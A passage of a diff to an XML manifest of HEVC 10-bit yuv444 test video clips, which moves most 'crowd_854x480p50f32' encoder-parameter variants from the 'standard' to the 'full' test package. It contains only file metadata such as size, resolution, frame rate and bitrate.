   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=162437,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2014480,package=standard</value>
+    <value>mime=video/hevc,size=162437,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2014480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=203222,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2523696,package=standard</value>
+    <value>mime=video/hevc,size=203222,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2523696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=179400,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225912,package=standard</value>
+    <value>mime=video/hevc,size=179400,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=180134,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2235080,package=standard</value>
+    <value>mime=video/hevc,size=180134,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2235080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=180130,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2235024,package=standard</value>
+    <value>mime=video/hevc,size=180130,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2235024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=179625,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2228720,package=standard</value>
+    <value>mime=video/hevc,size=179625,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2228720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=179171,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2223048,package=standard</value>
+    <value>mime=video/hevc,size=179171,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2223048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=179650,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2229024,package=standard</value>
+    <value>mime=video/hevc,size=179650,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2229024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=181255,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2249112,package=standard</value>
+    <value>mime=video/hevc,size=181255,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2249112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=196484,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2438656,package=standard</value>
+    <value>mime=video/hevc,size=196484,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2438656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf0.mp4">
     <value>mime=video/hevc,size=6092962,width=854,height=480,frame-rate=50,profile=,level=,bitrate=76145448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=15189,width=854,height=480,frame-rate=50,profile=,level=,bitrate=173280,package=standard</value>
+    <value>mime=video/hevc,size=15189,width=854,height=480,frame-rate=50,profile=,level=,bitrate=173280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=180580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2240672,package=standard</value>
+    <value>mime=video/hevc,size=180580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2240672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=178639,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216408,package=standard</value>
+    <value>mime=video/hevc,size=178639,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=178916,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219872,package=standard</value>
+    <value>mime=video/hevc,size=178916,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_faster.mp4">
-    <value>mime=video/hevc,size=154431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1914408,package=standard</value>
+    <value>mime=video/hevc,size=154431,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1914408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fast.mp4">
-    <value>mime=video/hevc,size=158121,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1960536,package=standard</value>
+    <value>mime=video/hevc,size=158121,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1960536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_grain.mp4">
-    <value>mime=video/hevc,size=299302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3724696,package=standard</value>
+    <value>mime=video/hevc,size=299302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3724696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=179979,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2233160,package=standard</value>
+    <value>mime=video/hevc,size=179979,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2233160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=179787,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2230760,package=standard</value>
+    <value>mime=video/hevc,size=179787,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2230760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=181131,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2247560,package=standard</value>
+    <value>mime=video/hevc,size=181131,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2247560,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=198714,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2467296,package=standard</value>
+    <value>mime=video/hevc,size=198714,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2467296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=179284,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224472,package=standard</value>
+    <value>mime=video/hevc,size=179284,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_lossless.mp4">
     <value>mime=video/hevc,size=26934933,width=854,height=480,frame-rate=50,profile=,level=,bitrate=336670080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=179289,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224536,package=standard</value>
+    <value>mime=video/hevc,size=179289,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=42414,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3314160,package=standard</value>
+    <value>mime=video/hevc,size=42414,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3314160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=standard</value>
+    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=standard</value>
+    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=standard</value>
+    <value>mime=video/hevc,size=179267,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=169800,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2105920,package=standard</value>
+    <value>mime=video/hevc,size=169800,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2105920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=180510,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2239800,package=standard</value>
+    <value>mime=video/hevc,size=180510,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2239800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_medium.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=182036,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2258872,package=standard</value>
+    <value>mime=video/hevc,size=182036,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2258872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=178705,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2217232,package=standard</value>
+    <value>mime=video/hevc,size=178705,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2217232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=178580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215672,package=standard</value>
+    <value>mime=video/hevc,size=178580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=178447,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214008,package=standard</value>
+    <value>mime=video/hevc,size=178447,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=189257,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349120,package=standard</value>
+    <value>mime=video/hevc,size=189257,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349120,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=210162,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2610432,package=standard</value>
+    <value>mime=video/hevc,size=210162,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2610432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=180498,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2239648,package=standard</value>
+    <value>mime=video/hevc,size=180498,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2239648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=standard</value>
+    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=standard</value>
+    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=standard</value>
+    <value>mime=video/hevc,size=179278,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=192840,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2393880,package=standard</value>
+    <value>mime=video/hevc,size=192840,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2393880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=standard</value>
+    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=312488,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3889536,package=standard</value>
+    <value>mime=video/hevc,size=312488,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3889536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp0.mp4">
     <value>mime=video/hevc,size=14315900,width=854,height=480,frame-rate=50,profile=,level=,bitrate=178932168,package=full</value>
@@ -22032,172 +22032,172 @@
     <value>mime=video/hevc,size=10536943,width=854,height=480,frame-rate=50,profile=,level=,bitrate=131695208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=14823,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168712,package=standard</value>
+    <value>mime=video/hevc,size=14823,width=854,height=480,frame-rate=50,profile=,level=,bitrate=168712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=13208,width=854,height=480,frame-rate=50,profile=,level=,bitrate=148520,package=standard</value>
+    <value>mime=video/hevc,size=13208,width=854,height=480,frame-rate=50,profile=,level=,bitrate=148520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=12183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=135712,package=standard</value>
+    <value>mime=video/hevc,size=12183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=135712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=standard</value>
+    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=178629,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216280,package=standard</value>
+    <value>mime=video/hevc,size=178629,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slower.mp4">
-    <value>mime=video/hevc,size=188259,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2336632,package=standard</value>
+    <value>mime=video/hevc,size=188259,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2336632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slow.mp4">
-    <value>mime=video/hevc,size=181205,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248480,package=standard</value>
+    <value>mime=video/hevc,size=181205,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=251076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3121872,package=standard</value>
+    <value>mime=video/hevc,size=251076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3121872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=179480,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226920,package=standard</value>
+    <value>mime=video/hevc,size=179480,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=179481,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226936,package=standard</value>
+    <value>mime=video/hevc,size=179481,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=281538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3502656,package=standard</value>
+    <value>mime=video/hevc,size=281538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3502656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=178886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219496,package=standard</value>
+    <value>mime=video/hevc,size=178886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=286291,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3562056,package=standard</value>
+    <value>mime=video/hevc,size=286291,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3562056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=179502,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2227184,package=standard</value>
+    <value>mime=video/hevc,size=179502,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2227184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=179336,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225112,package=standard</value>
+    <value>mime=video/hevc,size=179336,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2225112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=179440,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226408,package=standard</value>
+    <value>mime=video/hevc,size=179440,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2226408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=179822,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2231184,package=standard</value>
+    <value>mime=video/hevc,size=179822,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2231184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=179281,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=standard</value>
+    <value>mime=video/hevc,size=179281,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=180211,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2236056,package=standard</value>
+    <value>mime=video/hevc,size=180211,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2236056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=181744,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2255208,package=standard</value>
+    <value>mime=video/hevc,size=181744,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2255208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=179731,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2230048,package=standard</value>
+    <value>mime=video/hevc,size=179731,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2230048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=265236,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3298856,package=standard</value>
+    <value>mime=video/hevc,size=265236,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3298856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=153304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900320,package=standard</value>
+    <value>mime=video/hevc,size=153304,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1900320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=187343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2325184,package=standard</value>
+    <value>mime=video/hevc,size=187343,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2325184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179280,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=178899,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219656,package=standard</value>
+    <value>mime=video/hevc,size=178899,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0weightb1.mp4">
